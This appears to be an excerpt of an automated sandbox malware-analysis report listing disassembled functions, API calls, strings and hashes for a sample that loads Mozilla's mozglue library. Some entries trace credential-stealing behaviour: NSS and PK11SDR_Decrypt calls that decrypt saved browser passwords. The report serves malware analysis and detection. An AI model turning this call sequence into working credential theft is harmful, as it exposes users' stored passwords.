??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CD2F8F9

Part of subcall function 6CCF6390: GetCurrentThreadId.KERNEL32 ref: 6CCF63D0
Part of subcall function 6CCF6390: AcquireSRWLockExclusive.KERNEL32 ref: 6CCF63DF
Part of subcall function 6CCF6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CCF640E

ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2F93A
GetCurrentThreadId.KERNEL32 ref: 6CD2F98A
GetCurrentThreadId.KERNEL32 ref: 6CD2F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD2F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD2F716

Part of subcall function 6CD294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CD294EE
Part of subcall function 6CD294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CD29508

Part of subcall function 6CCEB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CCEB5E0

GetCurrentThreadId.KERNEL32 ref: 6CD2F739
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2F746
GetCurrentThreadId.KERNEL32 ref: 6CD2F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CD6385B,00000002,?,?,?,?,?), ref: 6CD2F829
free.MOZGLUE(?,?,00000000,?), ref: 6CD2F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CD2F866
free.MOZGLUE(?), ref: 6CD2FA0C

Part of subcall function 6CCF5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CCF55E1), ref: 6CCF5E8C
Part of subcall function 6CCF5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CCF5E9D
Part of subcall function 6CCF5E60: GetCurrentThreadId.KERNEL32 ref: 6CCF5EAB
Part of subcall function 6CCF5E60: GetCurrentThreadId.KERNEL32 ref: 6CCF5EB8
Part of subcall function 6CCF5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CCF5ECF
Part of subcall function 6CCF5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CCF5F27
Part of subcall function 6CCF5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CCF5F47
Part of subcall function 6CCF5E60: GetCurrentProcess.KERNEL32 ref: 6CCF5F53
Part of subcall function 6CCF5E60: GetCurrentThread.KERNEL32 ref: 6CCF5F5C
Part of subcall function 6CCF5E60: GetCurrentProcess.KERNEL32 ref: 6CCF5F66
Part of subcall function 6CCF5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CCF5F7E

free.MOZGLUE(?), ref: 6CD2F9C5
free.MOZGLUE(?), ref: 6CD2F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CD2F9A6
Thread , xrefs: 6CD2F789
" attempted to re-register as ", xrefs: 6CD2F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6CD2F71F

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 4ea452811555d71033c6b3c35cb748f223af40137abd66aef1e9406c32ddc599
Instruction ID: 347e7c7d07db09df334df4beeba00e2133f5542a6df5c39e2eccb7ceb8122ecc
Opcode Fuzzy Hash: 4ea452811555d71033c6b3c35cb748f223af40137abd66aef1e9406c32ddc599
Instruction Fuzzy Hash: AD8118716047149FD700DF25C840BAEB7B5EFC5308F44496DEA8597B61EB34E849CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0040C100 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 0040C112

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,02F8AB28,00000000,?,0041DBAC,00000000,?,?), ref: 0040C1D6
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040C1F3
GetFileSize.KERNEL32(00000000,00000000), ref: 0040C1FF
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040C212

Part of subcall function 00414FF0: malloc.MSVCRT ref: 00414FF8

ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040C242
StrStrA.SHLWAPI(?,02F8AC78,0041D72E), ref: 0040C260
StrStrA.SHLWAPI(00000000,02F8ABB8), ref: 0040C287
StrStrA.SHLWAPI(?,02F8AF58,00000000,?,0041DBB8,00000000,?,00000000,00000000,?,02F84840,00000000,?,0041DBB4,00000000,?), ref: 0040C405
StrStrA.SHLWAPI(00000000,02F8B038), ref: 0040C41C

Part of subcall function 0040BF90: memset.MSVCRT ref: 0040BFC3
Part of subcall function 0040BF90: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,02F84770), ref: 0040BFE1
Part of subcall function 0040BF90: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040BFEC
Part of subcall function 0040BF90: PK11_GetInternalKeySlot.NSS3 ref: 0040BFFA
Part of subcall function 0040BF90: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C015
Part of subcall function 0040BF90: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C05B
Part of subcall function 0040BF90: memcpy.MSVCRT ref: 0040C082
Part of subcall function 0040BF90: PK11_FreeSlot.NSS3(?), ref: 0040C0D1

StrStrA.SHLWAPI(?,02F8B038,00000000,?,0041DBBC,00000000,?,00000000,02F84770), ref: 0040C4BD
StrStrA.SHLWAPI(00000000,02F848D0), ref: 0040C4D4

Part of subcall function 0040BF90: lstrcat.KERNEL32(?,0041D726), ref: 0040C0B3
Part of subcall function 0040BF90: lstrcat.KERNEL32(?,0041D727), ref: 0040C0C7
Part of subcall function 0040BF90: lstrcat.KERNEL32(?,0041D72A), ref: 0040C0E8

lstrlen.KERNEL32(00000000), ref: 0040C5A7
CloseHandle.KERNEL32(00000000), ref: 0040C5F9
NSS_Shutdown.NSS3 ref: 0040C607

Strings

, xrefs: 0040C133

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeStringmallocmemcpymemset
String ID:
API String ID: 2844179199-3916222277
Opcode ID: 6942af9d1d097d77fa790ebee592c9caee7999e00a9cec09c921e8fb6cc778a0
Instruction ID: 16cc530deb27457f536659a64f134916331f5af867ee6c6bf2a367595298ef92
Opcode Fuzzy Hash: 6942af9d1d097d77fa790ebee592c9caee7999e00a9cec09c921e8fb6cc778a0
Instruction Fuzzy Hash: 66E11075910208ABCB14EBA1DC91FEEBB79BF54304F41415EF10667191DF38AA86CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCE31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CCE3217
Part of subcall function 6CCE31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CCE3236
Part of subcall function 6CCE31C0: FreeLibrary.KERNEL32 ref: 6CCE324B
Part of subcall function 6CCE31C0: __Init_thread_footer.LIBCMT ref: 6CCE3260
Part of subcall function 6CCE31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CCE327F
Part of subcall function 6CCE31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CCE328E
Part of subcall function 6CCE31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CCE32AB
Part of subcall function 6CCE31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CCE32D1
Part of subcall function 6CCE31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CCE32E5
Part of subcall function 6CCE31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CCE32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CCF9675
__Init_thread_footer.LIBCMT ref: 6CCF9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CCF96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CCF9707
__Init_thread_footer.LIBCMT ref: 6CCF971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CCF9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CCF97B7
FreeLibrary.KERNEL32 ref: 6CCF97D0
FreeLibrary.KERNEL32 ref: 6CCF97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CCF9824

Strings

ntdll.dll, xrefs: 6CCF96E3
MapViewOfFileNuma2, xrefs: 6CCF97B1
NtMapViewOfSection, xrefs: 6CCF9701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CCF9670

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 0b05d8cf2dedb9b19dd140f5a2158e781778df5744ae0eb39290a3cd4a71b25c
Instruction ID: 6c1fa2982822c793051a4b508fa3cd462bc55fddd6208c72ec8f1f9547a1c18d
Opcode Fuzzy Hash: 0b05d8cf2dedb9b19dd140f5a2158e781778df5744ae0eb39290a3cd4a71b25c
Instruction Fuzzy Hash: 7161E771704705ABEF00DF66D884BAA7BB8FF4A314F144529EA2587B90E730D859CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 0040FAE0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 145stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 0040FB05
ExitProcess.KERNEL32 ref: 0040FB11
strtok_s.MSVCRT ref: 0040FB28

Strings

block, xrefs: 0040FAF7

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 52d09828bd6328d95c269d46c52906f376363bf45c2a71b165d5bab26f2389d9
Instruction ID: 7825bcbe27da9618b603611e1cfecd621835b499ad6dca7fa43ef563d7fd58f0
Opcode Fuzzy Hash: 52d09828bd6328d95c269d46c52906f376363bf45c2a71b165d5bab26f2389d9
Instruction Fuzzy Hash: 0F514074A08209EFDB20DFA1D955BAE77B5BF44305F10807AE802B76C0D778E985CB59

Uniqueness

Uniqueness Score: -1.00%

Function 6CD3D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CD3D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CD3D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CD3D52A
GetCurrentThreadId.KERNEL32 ref: 6CD3D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CD3D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CD3D55F
free.MOZGLUE(00000000), ref: 6CD3D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CD3D5D3
GetCurrentThreadId.KERNEL32 ref: 6CD3D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CD3D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CD3D652
GetCurrentThreadId.KERNEL32 ref: 6CD3D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CD3D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CD3D6A2

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: d9621eb39387c61f34e5e730a2c3388357b5ac2115981a7bca6f7bcc5d752c7c
Instruction ID: 9b66c2b77c13c31246b4d856c4c487b91e4e0d41058f254cce98fb58f629efc2
Opcode Fuzzy Hash: d9621eb39387c61f34e5e730a2c3388357b5ac2115981a7bca6f7bcc5d752c7c
Instruction Fuzzy Hash: 60517F71604705EFD704DF35C484A9ABBB8FF8A358F00962EE95A87761DB30E445CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00411F30 Relevance: 19.7, APIs: 13, Instructions: 193stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00411F4E
memset.MSVCRT ref: 00411F65

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 00411F9C
lstrcat.KERNEL32(?,02F8B718), ref: 00411FBB
lstrcat.KERNEL32(?,?), ref: 00411FCF
lstrcat.KERNEL32(?,02F8AA80), ref: 00411FE3

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00415490: GetFileAttributesA.KERNEL32(00000000,?,0040E9F4,?,00000000,?,00000000,0041D76E,0041D76B), ref: 0041549F

Part of subcall function 004096C0: StrStrA.SHLWAPI(00000000,02F8A768), ref: 0040971B
Part of subcall function 004096C0: memcmp.MSVCRT ref: 00409774

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: CloseHandle.KERNEL32(000000FF), ref: 0040947A

Part of subcall function 00415AC0: GlobalAlloc.KERNEL32(00000000,00412087,00412087), ref: 00415AD3

StrStrA.SHLWAPI(?,02F8B8E0), ref: 0041209D
GlobalFree.KERNEL32(?), ref: 00412199

Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 004094CF
Part of subcall function 004094A0: LocalAlloc.KERNEL32(00000040,?,?,?,00404BAE,00000000,?), ref: 004094E1
Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 0040950A
Part of subcall function 004094A0: LocalFree.KERNEL32(?,?,?,?,00404BAE,00000000,?), ref: 0040951F

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrcat.KERNEL32(?,00000000), ref: 0041212A
StrCmpCA.SHLWAPI(?,0041D4AB,?,?,?,?,000003E8), ref: 00412147
lstrcat.KERNEL32(00000000,00000000), ref: 00412159
lstrcat.KERNEL32(00000000,?), ref: 0041216C
lstrcat.KERNEL32(00000000,0041D840), ref: 0041217B

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcat$Local$AllocFile$Freememset$BinaryCryptGlobalStringmemcmp$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 1812951797-0
Opcode ID: f5db646830afb3b51793a6e0b6e4721c7518e8da438697001fa247f991728a2a
Instruction ID: d5c3215e2bd1f08faed5fb03d7604f0585b4cbbeb5c4b7daf79ee1030fe867fa
Opcode Fuzzy Hash: f5db646830afb3b51793a6e0b6e4721c7518e8da438697001fa247f991728a2a
Instruction Fuzzy Hash: B97158B6900618BBCB24EBE0DD49FDE7779AF88304F004599F60997181EA78DB94CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6CD2EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CCF4A68), ref: 6CD2945E
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CD29470
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CD29482
Part of subcall function 6CD29420: __Init_thread_footer.LIBCMT ref: 6CD2949F

GetCurrentThreadId.KERNEL32 ref: 6CD2EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD2EC8C

Part of subcall function 6CD294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CD294EE
Part of subcall function 6CD294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CD29508

GetCurrentThreadId.KERNEL32 ref: 6CD2ECA1
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CD2ECC5
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CD2ED19
CloseHandle.KERNEL32(?), ref: 6CD2ED28
free.MOZGLUE(00000000), ref: 6CD2ED2F
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CD2EC94

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 55a11852d460fa70712d198559ca3bb0c5c91ec44a551fe9a429d68e4738c1de
Instruction ID: da7981745ad8bf5a51949ca8099c16b52f0bee68aec455f32b9e7516f58d5c02
Opcode Fuzzy Hash: 55a11852d460fa70712d198559ca3bb0c5c91ec44a551fe9a429d68e4738c1de
Instruction Fuzzy Hash: 9A21B475600504ABEB009F66D808BAA377DEB4626DF104214FF1457FA1DB79A80ACBB1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD28ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CCEEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCEEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CD2B392,?,?,00000001), ref: 6CD291F4

Part of subcall function 6CD1CBE8: GetCurrentProcess.KERNEL32(?,6CCE31A7), ref: 6CD1CBF1
Part of subcall function 6CD1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CCE31A7), ref: 6CD1CBFA

Strings

timeline-overview, xrefs: 6CD2907A
timeline-fileio, xrefs: 6CD290A4
stack-chart, xrefs: 6CD290B2
data, xrefs: 6CD290E8
marker-chart, xrefs: 6CD2905E
timeline-ipc, xrefs: 6CD29096
timeline-memory, xrefs: 6CD29088
name, xrefs: 6CD28F16
marker-table, xrefs: 6CD2906C

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: f9d5a768cb75b86ffce35225849716ea15fc2fad5af69738988ff7a004f4c4fa
Instruction ID: 7a972cac228535397182a06881646d1dcfbb26a804aaa226e0bb20e7a3c508f6
Opcode Fuzzy Hash: f9d5a768cb75b86ffce35225849716ea15fc2fad5af69738988ff7a004f4c4fa
Instruction Fuzzy Hash: A2B104B0A002099BDF04CF95C9917EEBBB5BF8430CF604029D602ABFA0D775A945CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD0C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CD0C5A3
WideCharToMultiByte.KERNEL32 ref: 6CD0C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CD0C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CD0CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CD0CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD0CAA5

Strings

0, xrefs: 6CD0D30A
(null), xrefs: 6CD0C596

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 9eb9a1594c0602dac71f075b94373013a10094a65a001b67ceab1ab070a9f9bc
Instruction ID: 1015be14b343094a84989ad5d640c800330a833c78367f4d59819c436676f951
Opcode Fuzzy Hash: 9eb9a1594c0602dac71f075b94373013a10094a65a001b67ceab1ab070a9f9bc
Instruction Fuzzy Hash: 7BA19A307083419FDB10EF2CC58875ABBE5AFC9758F04882DE99997662D731E805CBA2

